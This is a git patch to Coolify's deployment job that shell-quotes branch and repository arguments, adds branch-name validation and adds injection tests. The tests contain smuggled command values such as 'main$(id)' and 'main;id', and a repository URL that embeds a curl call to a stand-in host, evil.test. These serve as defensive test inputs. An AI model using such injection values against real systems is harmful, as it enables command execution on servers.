From 5e4873322e2c7358d249888fe6b55bb0ba76d324 Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Mon, 1 Jun 2026 15:15:38 +0200 Subject: [PATCH] chore: improve deployment input handling --- app/Jobs/ApplicationDeploymentJob.php | 17 +++- bootstrap/helpers/api.php | 30 +++--- .../Feature/CommandInjectionSecurityTest.php | 96 +++++++++++++++++++ 3 files changed, 126 insertions(+), 17 deletions(-) diff --git a/app/Jobs/ApplicationDeploymentJob.php b/app/Jobs/ApplicationDeploymentJob.php index 2edc08235..094eeb249 100644 --- a/app/Jobs/ApplicationDeploymentJob.php +++ b/app/Jobs/ApplicationDeploymentJob.php @@ -2232,11 +2232,22 @@ class ApplicationDeploymentJob implements ShouldBeEncrypted, ShouldQueue } } if (isset($this->application->git_branch)) { - $this->coolify_variables .= "COOLIFY_BRANCH={$this->application->git_branch} "; + $this->coolify_variables .= 'COOLIFY_BRANCH='.escapeShellValue($this->application->git_branch).' '; } $this->coolify_variables .= "COOLIFY_RESOURCE_UUID={$this->application->uuid} "; } + private function gitLsRemoteCommand(string $lsRemoteRef, ?string $identityFile = null): string + { + $sshCommand = "ssh -o ConnectTimeout=30 -p {$this->customPort} -o Port={$this->customPort} -o LogLevel=ERROR -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null"; + + if ($identityFile !== null) { + $sshCommand .= " -i {$identityFile}"; + } + + return 'GIT_SSH_COMMAND="'.$sshCommand.'" git ls-remote '.escapeshellarg($this->fullRepoUrl).' '.escapeshellarg($lsRemoteRef); + } + private function check_git_if_build_needed() { if (is_object($this->source) && $this->source->getMorphClass() === GithubApp::class && $this->source->is_public === false) { @@ -2282,7 +2293,7 @@ class ApplicationDeploymentJob implements ShouldBeEncrypted, ShouldQueue executeInDocker($this->deployment_uuid, 'chmod 600 /root/.ssh/id_rsa'), ], [ - executeInDocker($this->deployment_uuid, "GIT_SSH_COMMAND=\"ssh -o ConnectTimeout=30 -p {$this->customPort} -o Port={$this->customPort} -o LogLevel=ERROR -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -i /root/.ssh/id_rsa\" git ls-remote {$this->fullRepoUrl} {$lsRemoteRef}"), + executeInDocker($this->deployment_uuid, $this->gitLsRemoteCommand($lsRemoteRef, '/root/.ssh/id_rsa')), 'hidden' => true, 'save' => 'git_commit_sha', ] @@ -2290,7 +2301,7 @@ class ApplicationDeploymentJob implements ShouldBeEncrypted, ShouldQueue } else { $this->execute_remote_command( [ - executeInDocker($this->deployment_uuid, "GIT_SSH_COMMAND=\"ssh -o ConnectTimeout=30 -p {$this->customPort} -o Port={$this->customPort} -o LogLevel=ERROR -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null\" git ls-remote {$this->fullRepoUrl} {$lsRemoteRef}"), + executeInDocker($this->deployment_uuid, $this->gitLsRemoteCommand($lsRemoteRef)), 'hidden' => true, 'save' => 'git_commit_sha', ], diff --git a/bootstrap/helpers/api.php b/bootstrap/helpers/api.php index 4b76200d2..47cca8519 100644 --- a/bootstrap/helpers/api.php +++ b/bootstrap/helpers/api.php @@ -3,6 +3,8 @@ use App\Enums\BuildPackTypes; use App\Enums\RedirectTypes; use App\Enums\StaticImageTypes; +use App\Rules\ValidGitBranch; +use App\Support\ValidationPatterns; use Illuminate\Database\Eloquent\Collection; use Illuminate\Http\Request; use Illuminate\Validation\Rule; @@ -83,7 +85,7 @@ function sharedDataApplications() { return [ 'git_repository' => 'string', - 'git_branch' => 'string', + 'git_branch' => ['string', new ValidGitBranch], 'build_pack' => Rule::enum(BuildPackTypes::class), 'is_static' => 'boolean', 'is_spa' => 'boolean', @@ -95,14 +97,14 @@ function sharedDataApplications() 'git_commit_sha' => ['string', 'regex:/^[a-zA-Z0-9][a-zA-Z0-9._\-\/]*$/'], 'docker_registry_image_name' => 'string|nullable', 'docker_registry_image_tag' => 'string|nullable', - 'install_command' => \App\Support\ValidationPatterns::shellSafeCommandRules(), - 'build_command' => \App\Support\ValidationPatterns::shellSafeCommandRules(), - 'start_command' => \App\Support\ValidationPatterns::shellSafeCommandRules(), + 'install_command' => ValidationPatterns::shellSafeCommandRules(), + 'build_command' => ValidationPatterns::shellSafeCommandRules(), + 'start_command' => ValidationPatterns::shellSafeCommandRules(), 'ports_exposes' => 'string|regex:/^(\d+)(,\d+)*$/', 'ports_mappings' => 'string|regex:/^(\d+:\d+)(,\d+:\d+)*$/|nullable', 'custom_network_aliases' => 'string|nullable', - 'base_directory' => \App\Support\ValidationPatterns::directoryPathRules(), - 'publish_directory' => \App\Support\ValidationPatterns::directoryPathRules(), + 'base_directory' => ValidationPatterns::directoryPathRules(), + 'publish_directory' => ValidationPatterns::directoryPathRules(), 'health_check_enabled' => 'boolean', 'health_check_type' => 'string|in:http,cmd', 'health_check_command' => ['nullable', 'string', 'max:1000', 'regex:/^[a-zA-Z0-9 \-_.\/:=@,+]+$/'], @@ -125,24 +127,24 @@ function sharedDataApplications() 'limits_cpuset' => 'string|nullable', 'limits_cpu_shares' => 'numeric', 'custom_labels' => 'string|nullable', - 'custom_docker_run_options' => \App\Support\ValidationPatterns::shellSafeCommandRules(2000), + 'custom_docker_run_options' => ValidationPatterns::shellSafeCommandRules(2000), // Security: deployment commands are intentionally arbitrary shell (e.g. "php artisan migrate"). // Access is gated by API token authentication. Commands run inside the app container, not the host. 'post_deployment_command' => 'string|nullable', - 'post_deployment_command_container' => \App\Support\ValidationPatterns::containerNameRules(), + 'post_deployment_command_container' => ValidationPatterns::containerNameRules(), 'pre_deployment_command' => 'string|nullable', - 'pre_deployment_command_container' => \App\Support\ValidationPatterns::containerNameRules(), + 'pre_deployment_command_container' => ValidationPatterns::containerNameRules(), 'manual_webhook_secret_github' => 'string|nullable', 'manual_webhook_secret_gitlab' => 'string|nullable', 'manual_webhook_secret_bitbucket' => 'string|nullable', 'manual_webhook_secret_gitea' => 'string|nullable', - 'dockerfile_location' => \App\Support\ValidationPatterns::filePathRules(), - 'dockerfile_target_build' => \App\Support\ValidationPatterns::dockerTargetRules(), - 'docker_compose_location' => \App\Support\ValidationPatterns::filePathRules(), + 'dockerfile_location' => ValidationPatterns::filePathRules(), + 'dockerfile_target_build' => ValidationPatterns::dockerTargetRules(), + 'docker_compose_location' => ValidationPatterns::filePathRules(), 'docker_compose' => 'string|nullable', 'docker_compose_domains' => 'array|nullable', - 'docker_compose_custom_start_command' => \App\Support\ValidationPatterns::shellSafeCommandRules(), - 'docker_compose_custom_build_command' => \App\Support\ValidationPatterns::shellSafeCommandRules(), + 'docker_compose_custom_start_command' => ValidationPatterns::shellSafeCommandRules(), + 'docker_compose_custom_build_command' => ValidationPatterns::shellSafeCommandRules(), 'is_container_label_escape_enabled' => 'boolean', 'is_preserve_repository_enabled' => 'boolean', ]; diff --git a/tests/Feature/CommandInjectionSecurityTest.php b/tests/Feature/CommandInjectionSecurityTest.php index d42a8490a..a450aa919 100644 --- a/tests/Feature/CommandInjectionSecurityTest.php +++ b/tests/Feature/CommandInjectionSecurityTest.php @@ -1,6 +1,8 @@ $branch], + ['git_branch' => $rules['git_branch']] + ); + + expect($validator->fails())->toBeTrue(); + })->with([ + 'backtick command substitution' => 'main`id`', + 'dollar command substitution' => 'main$(id)', + 'semicolon command separator' => 'main;id', + 'ifs shell expansion' => 'main${IFS}id', + 'space separator' => 'main branch', + ]); + + test('git_branch validation allows safe branch names', function (string $branch) { + $rules = sharedDataApplications(); + + $validator = validator( + ['git_branch' => $branch], + ['git_branch' => $rules['git_branch']] + ); + + expect($validator->fails())->toBeFalse(); + })->with([ + 'main', + 'feature/safe-branch', + 'release_2026.06', + ]); + test('dockerfile_location validation rejects shell metacharacters', function () { $rules = sharedDataApplications(); @@ -183,6 +217,68 @@ describe('API validation rules for path fields', function () { }); }); +describe('deployment git command escaping', function () { + test('ls-remote command shell-quotes repository and ref arguments', function () { + $job = new ReflectionClass(ApplicationDeploymentJob::class); + $instance = $job->newInstanceWithoutConstructor(); + + foreach ([ + 'customPort' => 22, + 'fullRepoUrl' => "git@example.com:org/repo.git'; curl evil.test; #", + ] as $property => $value) { + $reflectionProperty = $job->getProperty($property); + $reflectionProperty->setAccessible(true); + $reflectionProperty->setValue($instance, $value); + } + + $method = $job->getMethod('gitLsRemoteCommand'); + $method->setAccessible(true); + + $command = $method->invoke($instance, 'refs/heads/main`id`', '/root/.ssh/id_rsa'); + + expect($command) + ->toContain("git ls-remote 'git@example.com:org/repo.git'\\''; curl evil.test; #' 'refs/heads/main`id`'") + ->toContain('-i /root/.ssh/id_rsa') + ->not->toContain('repo.git; curl'); + }); + + test('coolify branch shell assignment is quoted', function () { + $job = new ReflectionClass(ApplicationDeploymentJob::class); + $instance = $job->newInstanceWithoutConstructor(); + + $application = new Application; + $application->uuid = 'app-uuid'; + $application->git_branch = 'main`id`'; + $application->fqdn = null; + $application->compose_parsing_version = '3'; + + $settings = new ApplicationSetting; + $settings->include_source_commit_in_build = false; + $application->setRelation('settings', $settings); + + foreach ([ + 'application' => $application, + 'commit' => 'HEAD', + 'pull_request_id' => 0, + ] as $property => $value) { + $reflectionProperty = $job->getProperty($property); + $reflectionProperty->setAccessible(true); + $reflectionProperty->setValue($instance, $value); + } + + $method = $job->getMethod('set_coolify_variables'); + $method->setAccessible(true); + $method->invoke($instance); + + $coolifyVariables = $job->getProperty('coolify_variables'); + $coolifyVariables->setAccessible(true); + + expect($coolifyVariables->getValue($instance)) + ->toContain("COOLIFY_BRANCH='main`id`' ") + ->toContain('COOLIFY_RESOURCE_UUID=app-uuid '); + }); +}); + describe('sharedDataApplications rules survive array_merge in controller', function () { test('docker_compose_location safe regex is not overridden by local rules', function () { $sharedRules = sharedDataApplications();